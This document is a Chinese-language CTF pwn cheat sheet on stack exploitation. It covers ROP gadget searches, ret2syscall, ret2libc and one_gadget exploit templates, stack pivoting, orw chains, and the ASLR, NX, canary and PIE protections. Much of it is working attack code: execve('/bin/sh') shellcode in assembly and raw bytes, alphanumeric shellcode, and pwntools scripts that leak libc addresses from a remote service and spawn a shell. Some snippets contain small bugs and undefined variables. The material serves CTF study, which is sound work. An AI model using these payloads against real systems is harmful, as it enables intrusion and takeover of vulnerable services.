ROP

ROP(Return-Oriented Programming, 返回导向编程)

通过栈溢出的漏洞,覆盖return address,从而达让直行程序反复横跳的一种技术。

静态

生成ROPchain:

ROPgadget --binary [file] --ropchain

ropper --file [file] --chain execve

ret2syscall

32位

调用约定:系统调用号 $eax,参数:$ebx/$ecx/$edx/$esi/$edi/$ebp,调用 int 0x80

调用 execve("/bin/sh", 0, 0)

1
2
3
4
5
6
7
8
9
10
11
# $eax = 0xb = 11
ROPgadget --binary vuln --only "pop|ret" | grep eax
# $ebx = ["/bin/sh"]
ROPgadget --binary vuln --only "pop|ret" | grep ebx
ROPgadget --binary vuln --string "/bin/sh"
# $ecx = 0
ROPgadget --binary vuln --only "pop|ret" | grep ecx
# $edx = 0
ROPgadget --binary vuln --only "pop|ret" | grep edx
# int 0x80
ROPgadget --binary vuln --only "int"

64位

调用约定:系统调用号 $rax,参数:$rdi/$rsi/$rdx/$rcx($r10)/$r8/$r9,调用 syscall

调用 execve("/bin/sh", 0, 0)

1
2
3
4
5
6
7
8
9
10
11
# $rax = 0x3b = 59
ROPgadget --binary vuln --only "pop|ret" | grep rax
# $rdi = ["/bin/sh"]
ROPgadget --binary vuln --only "pop|ret" | grep rdi
ROPgadget --binary vuln --string "/bin/sh"
# $rsi = 0
ROPgadget --binary vuln --only "pop|ret" | grep rsi
# $rdx = 0
ROPgadget --binary vuln --only "pop|ret" | grep rdx
# syscall
ROPgadget --binary vuln --only "syscall"

ret2shellcode

shellcode数据库:

Shellcodes database for study cases

常用shellcode

pwntools

1
2
3
# pwntools
context.arch = elf.arch
shellcode = asm(shellcreaft.sh())

32位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# other
shellcode = asm('''
push eax
pop ebx
push edx
pop eax
dec eax
xor al,0x46
xor byte ptr[ebx+0x35],al #set int 0x80
xor byte ptr[ebx+0x36],al
push ecx
pop eax
xor al, 0x41
xor al, 0x40
push ecx
pop eax
xor al, 0x41
xor al, 0x40
push ecx
pop eax
xor al, 0x41
xor al, 0x40
push ecx # set al=0xb
pop eax
xor al, 0x41
xor al, 0x40
push edx # set ecx=0
pop ecx
push 0x68 # push /bin/sh
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx
''')

64位

1
2
# other
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"

shellcode限制

可见字符

Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

工具:AE64

1
2
3
4
5
6
7
8
9
10
from ae64 import AE64
from pwn import *
context.arch='amd64'

# get bytes format shellcode
shellcode = asm(shellcraft.sh())

# get alphanumeric shellcode
enc_shellcode = AE64().encode(shellcode)
print(enc_shellcode.decode('latin-1'))

参考:MRCTF 2020 - shellcode_revenge

更多限制

函数 __ctype_b_loc()

if ( ((*__ctype_b_loc())][s[i]] & 0x4000) == 0 && s[i] != 10) {}

ctype/ctype.h 源码,作用为将输入的字符根据 ((bit) < 8 ? ((1 << (bit)) << 8) : ((1 << (bit)) >> 8)) 进行处理,然后根据下面表对应的结果进行返回。

在这里插入图片描述

参考:2021 天翼杯 - ezshell

ret2libc

libc数据库:

https://libc.blukat.me/

https://libc.rip/

https://libc.nullbyte.cat/

glibc-all-in-one

板子

查gadget:

ROPgadget --binary [file] --only "pop|ret" | grep "xxx"

ropper --file [file] --search "xxx"

给定libc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# x64
from pwn import *

r = remote('x.x.x.x', 22222)
# r = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so')

write_plt = elf.plt.write
write_got = elf.got.write
main_addr = elf.sym.main

pop_rdi = 0x401233
pop_rsi = 0x401231

pl = 'a'*(0x80+8)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(write_got)+p64(0)+p64(write_plt)+p64(main_addr)
p.sendline(pl)
write_addr = u64(r.recv(6).ljust(8,'\x00'))
# 或 write_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(write_addr))

libc_base = write_addr-libc.sym.write
print(hex(libc_base))
system_addr = libc_base+libc.sym.system
binsh_addr = libc_base+libc.search('/bin/sh').next()

pl = 'a'*(0x80+8)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
p.sendline(pl)
p.interactive()
使用LibSearcher
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# x64
from pwn import *
from LibcSearcher import *

r = remote('x.x.x.x', 22222)
elf = ELF('./pwn')

pop_rdi_ret = 0x400c83
ret = 0x4006b9
puts_plt = elf.plt.puts
puts_got = elf.got.puts
main_addr = elf.sym.main

payload = 'a'*0x58 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendline(payload)
puts_addr = u64(r.recv(6).ljust(0x8, b'\x00'))
# 或 puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
print(libcbase)

sys_addr = libcbase + libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')
payload = 'a'*0x58 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_addr)
r.sendline(payload)

r.interactive()
one_gadget

查找已知的libc中 exevce("/bin/sh") 语句的地址:

one_gadget libc.so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# x64
from pwn import *

r = remote('x.x.x.x', 22222)
elf = ELF('./pwn')
libc = ELF('./libc.so')

pop_rdi_ret = 0x400c83
ret = 0x4006b9
puts_plt = elf.plt.puts
puts_got = elf.got.puts
main_addr = elf.sym.main

payload = 'a'*0x58 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendline(payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(puts_addr))

libc_base = puts_addr - libc.sym.puts

#one_gadget libc.so
execve_addr = libc_base + 0x10a38c

payload = 'a'*0x58 + p64(execve_addr)
r.sendline(payload)

r.interactive()

ret2csu

(预留)

ret2dl_resolve

(预留)

其他姿势

栈迁移

在一般的栈溢出攻击时,有一个前提条件是“有充分的栈空间用来布局”,通常我们会在栈的剩余空间上存放一些恶意指令。但是当栈的剩余空间很小时,例如只可覆盖ebp和ret,一般的栈溢出思路就无法完成攻击。

不过既然栈上没有足够的空间供我们布置,那我们可以尝试找另一块空间来进行布局,然后将栈指针esp劫持到这里就能完成攻击,这就是”栈迁移“的基本思想。

image-20220412203701158.png

如图所示,当主调函数调用func函数时:

  • 执行push eip+4将调用语句的下一条语句保存到栈上,用来在函数返回时跳转到返回地址(ret
  • PC指向func函数的地址

在执行func函数前:

  • func会先将ebp寄存器中的值保存到栈上,用于在函数返回时还原ebp为主调函数的栈底。

函数执行完毕,返回,会执行leave ret这两条语句

  • leave相当于mov esp,ebp(把栈指针指向栈底,销毁栈帧)、pop ebp(还原ebp为主调函数的栈底)。
  • ret相当于pop eip(把栈上保存的返回地址存入eip寄存器)

从这里可以知道,ebp的值可以控制esp,但是leave指令是先mov esp,ebppop ebp,看上去没有办法通过修改栈上保存的ebp改变esp的值,不过不要忘记我们还可以控制ret的值,如果把ret覆盖为leave ret的地址,我们覆盖的假ebp就可以通过两次leave语句到esp寄存器上,从而完成了栈迁移。

思路:

利用第一次输入泄露出ebp地址,再利用第二次输入构造一个栈,将esp劫持到我们构造的栈上,再把栈上的返回地址改为system函数的地址,这样就模拟出了一次system("/bin/sh")的调用。

参考:

ciscn_2019_es_2

特殊系统调用

mprotect

将内存页的权限修改为可读可写可执行。

需要注意的是指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
/*
addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
返回值:0;成功,-1;失败(并且errno被设置)
1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。
3)ENOMEM:内核内部的结构体无法分配。
这里的参数prot:
r:4
w:2
x:1
prot为7(1+2+4)就是rwx可读可写可执行,与linux文件属性用法类似。 */
getdents64

读取目录结构。

int getdents(unsigned int fd, struct linux_dirent *dirp,unsigned int count);

该函数是一个解析文件夹的函数,第一个参数时要解析的文件句柄,第二个参数是存放解析数据的位置,count是dirp的大小,通过这个我们就可以解析文件夹,需要注意的是当打开文件夹时open的第二个参数为0x10000,打开文件时的参数为0。

返回结构体:

1
2
3
4
5
6
7
struct linux_dirent64 {
ino64_t d_ino; /* 64-bit inode number */
off64_t d_off; /* 64-bit offset to next structure */
unsigned short d_reclen; /* Size of this dirent */
unsigned char d_type; /* File type */
char d_name[]; /* Filename (null-terminated) */
};

orw

orw 方式,即 open-read-write,通过文件操作直接获取文件内容。

查找 syscall; ret 的 gadget方法

  1. 用 opcode 功能搜

    1
    2
    3
    from pwn import *
    print(asm('syscall;ret').encode('hex'))
    # 0f05c3
  2. ROPgadget搜索

    ROPgadget --binary libc-2.31.so --opcode 0f05c3

shellcode

pwntools

1
2
3
4
5
6
# pwntools
shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('eax','esp',0x100)
shellcode += shellcraft.write(1,'esp',0x100)
payload1 = asm(shellcode)

32位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
shellcode = """
/*open(./flag)*/
push 0x1010101
xor dword ptr [esp], 0x1016660
push 0x6c662f2e
mov eax,0x5
mov ebx,esp
xor ecx,ecx
int 0x80
/*read(fd,buf,0x100)*/
mov ebx,eax
mov ecx,esp
mov edx,0x30
mov eax,0x3
int 0x80
/*write(1,buf,0x100)*/
mov ebx,0x1
mov eax,0x4
int 0x80
"""

64位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
shellcode = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
ROP

open

1
2
3
4
5
6
7
8
9
10
11
# open(".")
payload += p64(pop_rax_ret)
payload += p64(2)
payload += p64(pop_rdi_ret)
payload += p64(bss_addr)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(pop_rdx_r12_ret)
payload += p64(0)
payload += p64(0)
payload += p64(syscall_ret)

read

1
2
3
4
5
6
7
8
9
# read(0, bss_addr, 2)
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(pop_rsi_ret)
payload += p64(bss_addr)
payload += p64(pop_rdx_r12_ret)
payload += p64(2)
payload += p64(0)
payload += p64(elf.sym['read'])

write

1
2
3
4
5
6
7
8
9
10
11
# write(1, bss_addr + 0x200, 0x600)
payload += p64(pop_rax_ret)
payload += p64(1)
payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rsi_ret)
payload += p64(bss_addr + 0x200)
payload += p64(pop_rdx_r12_ret)
payload += p64(0x600)
payload += p64(0)
payload += p64(syscall_ret)

保护

ALSR

ASLR 的是操作系统的功能选项,作用于 executable(ELF)装入内存运行时,因而只能随机化 stack、heap、libraries 的基址。

NX

No-Execute(不可执行),Nx 的原理是将数据所在内存页标识为不可执行,当程序执行流被劫持到栈上时,程序会尝试在数据页面上执行指令,因为数据页被标记为不可知性,此时CPU就会抛出异常,而不是去执行栈上数据。

canary

金丝雀保护,是一种用来防护栈溢出的保护机制。其原理是在函数入口处,先从 fs/gs 寄存器中取出一个 4(eax)/8(rax) 字节的 cookie 信息存到栈上,当函数结束返回的时候会验证 cookie 信息是否合法(与开始存的是否一致),如果不合法就停止程序运行。真正的 cookie 信息也会保存在程序的某个位置。插入栈中的 cookie 一般在 ebp / rbp 之上的一个内存单元保存。

攻击

Stack smash

(待补充)

TLS

线程局部存储 (TLS) 是一种存储持续期(storage duration),对象的存储是在线程开始时分配,线
程结束时回收,每个线程有该对象自己的实例。

TLS 具有 TCB 结构体。也就是说对于 TLS 的变量,每个线程都会有自己独有的一份,既然维护 canary 的 TCB 结构体是 TLS 的,就不能想到这个结构体必然会在线程自己申请的空间里面,并且在作比较时也是和自己独有的那一份比较的。TCB 结构体是是以 fs 作为基址索引的,TCB 结构体的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
unsigned long int vgetcpu_cache[2];
/* Bit 0: X86_FEATURE_1_IBT.
Bit 1: X86_FEATURE_1_SHSTK.
*/
unsigned int feature_1;
int __glibc_unused1;
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
/* The lowest address of shadow stack, */
unsigned long long int ssp_base;
/* Must be kept even if it is no longer used by glibc since programs,
like AddressSanitizer, depend on the size of tcbhead_t. */
__128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
void *__padding[8];
} tcbhead_t;

在 gdb 里面看 fs 附近的内存分布情况,使用 fsbase 查看 fs 的值,内存分布和结构体定义一致,所以 fs 就是指向 TCB 结构体,vmmap 一下会发现 TCB 是存在栈上的,而且显然建立的时间在 test_thread 之前,又由于可以栈溢出接近 0x1000 个字节,完全可以覆写 TCB 结构体,把 TCB 的 stack_guard 字段写成比如 p64(0),那么溢出到 canary 的时候覆写成 0 就可以 bypass canary。

PIE

PIE(Position Independent Executables)是编译器(gcc,…)功能选项(-fPIE / -fpie),作用于编译过程,可将其理解为特殊的 PIC(so专用,Position Independent Code),加了 PIE 选项编译出来的 ELF 用 file 命令查看会显示其为 so,其随机化了 ELF 装载内存的基址(代码段、plt、got、data 等共同的基址)。其效果为用 objdump、IDA 反汇编之后的地址是用偏移表示的而不是绝对地址。

SROP

(预留)

BROP

(预留)

其他

随机数(srand+rand)

glibc随机数发生器